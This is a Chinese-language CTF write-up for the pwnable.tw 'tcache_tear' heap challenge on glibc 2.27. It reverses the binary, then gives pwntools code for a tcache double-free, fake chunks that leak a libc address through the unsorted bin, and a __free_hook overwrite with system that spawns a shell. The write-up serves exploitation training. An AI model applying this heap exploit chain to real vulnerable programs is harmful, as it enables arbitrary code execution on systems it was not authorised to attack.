1 程序分析 64 位,没开 PIE,Full RELRO 不能改 GOT 表了,libc 版本 2.27
1 2 3 4 5 6 7 8 9 10 (pwn) secreu@Vanilla:~/code/pwnable/tcache_tear$ strings libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so | grep "Ubuntu GLIBC" GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. (pwn) secreu@Vanilla:~/code/pwnable/tcache_tear$ checksec --file=tcache_tear [*] '/home/secreu/code/pwnable/tcache_tear/tcache_tear' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
首先读取最多 32 字节的 Name 到 0x602060,然后进入菜单循环
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { __int64 v3; unsigned int v4; sub_400948(a1, a2, a3); printf ("Name:" ); sub_400A25(&unk_602060, 32LL ); v4 = 0 ; while ( 1 ) { while ( 1 ) { sub_400A9C(); v3 = sub_4009C4(); if ( v3 != 2 ) break ; if ( v4 <= 7 ) { free (ptr); ++v4; } } if ( v3 > 2 ) { if ( v3 == 3 ) { sub_400B99(); } else { if ( v3 == 4 ) exit (0 ); LABEL_14: puts ("Invalid choice" ); } } else { if ( v3 != 1 ) goto LABEL_14; sub_400B14(); } } }
选项 1,sub_400B14 分配堆块,Size 不能大于 0xFF,并且最多写入 Size - 16 大小的数据到堆块中,指针 ptr 位于 0x602088
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int sub_400B14 () { size_t v0; int size; printf ("Size:" ); v0 = sub_4009C4(); size = v0; if ( v0 <= 0xFF ) { ptr = malloc (v0); printf ("Data:" ); sub_400A25((__int64)ptr, size - 16 ); LODWORD(v0) = puts ("Done !" ); } return v0; }
选项 2,释放堆块,最多允许 free 8 次
1 2 3 4 5 6 7 if ( v3 != 2 ) break ; if ( v4 <= 7 ){ free (ptr); ++v4; }
选项 3,sub_400B99 将 0x602060 处存放的 Name 打印出来
1 2 3 4 5 ssize_t sub_400B99 () { printf ("Name :" ); return write(1 , &unk_602060, 0x20u LL); }
选项 4,exit(0) 退出
2 漏洞利用 2.1 任意地址分配/写 2.27 还没有对 key 指针进行检查,我们可以直接 double free,然后再一次调用 malloc 去修改 next 指针,从而实现任意地址分配
1 2 3 4 5 6 7 8 9 10 name_addr = 0x602060 io.sendlineafter(b'Name:' , b'A' * 0x20 ) malloc(0x40 , b'A' * 0x8 ) free() free() malloc(0x40 , p64(name_addr)) malloc(0x40 , b'A' * 0x8 ) malloc(0x40 , b'B' * 0x10 )
成功拿到地址为 0x602060 的堆块,也就是 Name 地址,并将其前 16 个字节都从 0x41 改成了 0x42
这里只需要 free 2 次即可实现任意地址发分配,从 2.30 开始,malloc 对 tcache 的检查从 tcache->entries[tc_idx] != NULL 变成了 tcache->counts[tc_idx] > 0,也就是说需要多 free 一次才能拿到目标地址堆块。另外,tcache->counts[tc_idx] 因为向下发生了整型溢出,超出了最大限制,对应的链上不会再加入新的块了
2.2 伪造堆块泄露 Libc sub_400B99 的功能是输出 0x602060 开始的 0x20 字节,其本意是输出 Name,但是我们可以利用这一点泄露信息,想办法在上面写入 libc 相关的地址,这里就联想到 unsorted bin,当释放一个不属于 fastbin/tcache 大小的堆块时,就会放进 unsorted bin 上,并且其 bk 指针指向 main_arena + 0x60 的位置
所以我们可以在 0x602060 处构造一个 size 位大于 0x410 的 fake chunk,利用任意地址分配使得 ptr 指向 0x602060 + 0x10,再调用 free 就能将其放入 unsorted bin 中
1 2 3 4 5 6 7 8 9 10 11 12 13 name_addr = 0x602060 fake_chunk_0 = p64(0 ) + p64(0x511 ) io.sendlineafter(b'Name' , fake_chunk_0) malloc(0x30 , b'A' * 0x8 ) free() free() malloc(0x30 , p64(name_addr + 0x10 )) malloc(0x30 , b'A' * 0x8 ) malloc(0x30 , b'A' * 0x8 ) free()
遗憾报错 “double free or corruption (!prev)”,查阅 free 源码得知原因是其 nextchunk 没有设置 PREV_INUSE
1 2 3 if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr ("double free or corruption (!prev)" );
所以我们不能仅仅构造一个 fake chunk,这里先用一次任意地址分配/写,布置好 nextchunk,也就是在 0x602060 + 0x510 处布置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 name_addr = 0x602060 fake_chunk_0 = p64(0 ) + p64(0x511 ) fake_chunk_1 = p64(0 ) + p64(0x21 ) io.sendlineafter(b'Name' , fake_chunk_0) malloc(0x40 , b'A' * 0x8 ) free() free() malloc(0x40 , p64(name_addr + 0x510 )) malloc(0x40 , b'A' * 0x8 ) malloc(0x40 , fake_chunk_1) malloc(0x30 , b'A' * 0x8 ) free() free() malloc(0x30 , p64(name_addr + 0x10 )) malloc(0x30 , b'A' * 0x8 ) malloc(0x30 , b'A' * 0x8 ) free()
遗憾报错 “corrupted size vs. prev_size”,继续查阅 free 源码得知,是在 unlink 函数中,看起来是因为某个 chunk 的 size 不等于其后一个的 prev_size
1 2 3 4 5 #define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size" ); ...
再看 unlink 在 _int_free 中的 2 次调用
当前 chunk 的 PREV_INUSE 为 0 时调用,我们只需要设置我们的 fake chunk 的 PREV_INUSE 为 1 即可,这里已经做了
nextchunk 是否 inuse,这里会先调用 inuse_bit_at_offset 检查 nextchunk 的下一个 chunk 的 PREV_INUSE 位,该位也必须是 1 才能不进入 unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } #define inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
所以我们需要连续布置 3 个 fake chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 name_addr = 0x602060 fake_chunk_0 = p64(0 ) + p64(0x511 ) fake_chunk_1 = p64(0 ) + p64(0x21 ) + p64(0 ) * 2 fake_chunk_2 = p64(0 ) + p64(0x21 ) io.sendlineafter(b'Name' , fake_chunk_0) malloc(0x40 , b'A' * 0x8 ) free() free() malloc(0x40 , p64(name_addr + 0x510 )) malloc(0x40 , b'A' * 0x8 ) malloc(0x40 , fake_chunk_1 + fake_chunk_2) malloc(0x30 , b'A' * 0x8 ) free() free() malloc(0x30 , p64(name_addr + 0x10 )) malloc(0x30 , b'A' * 0x8 ) malloc(0x30 , b'A' * 0x8 ) free() info()
成功将 0x602060 加入 unsorted bin,并看到 libc 上的地址,即 main_arena + 0x60
2.3 劫持 __free_hook 接下来就是再做一次任意地址分配/写,将 system 地址写入 __free_hook,再分配一个堆块写入 “/bin/sh\x00”,最后将其 free 即可。整个过程加起来刚好一共进行了 8 次 free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 main_arena_96 = u64(io.recv(0x26 )[0x1e :0x26 ].ljust(8 , b'\x00' )) libc_base = main_arena_96 - libc.sym['__malloc_hook' ] - 0x10 - 0x60 system_addr = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] log.info('main_arena_96: ' + hex (main_arena_96)) log.info('libc_base: ' + hex (libc_base)) log.info('system_addr: ' + hex (system_addr)) log.info('free_hook: ' + hex (free_hook)) malloc(0x20 , b'A' * 0x8 ) free() free() malloc(0x20 , p64(free_hook)) malloc(0x20 , b'A' * 0x8 ) malloc(0x20 , p64(system_addr)) malloc(0x20 , b'/bin/sh\x00' ) free() io.interactive()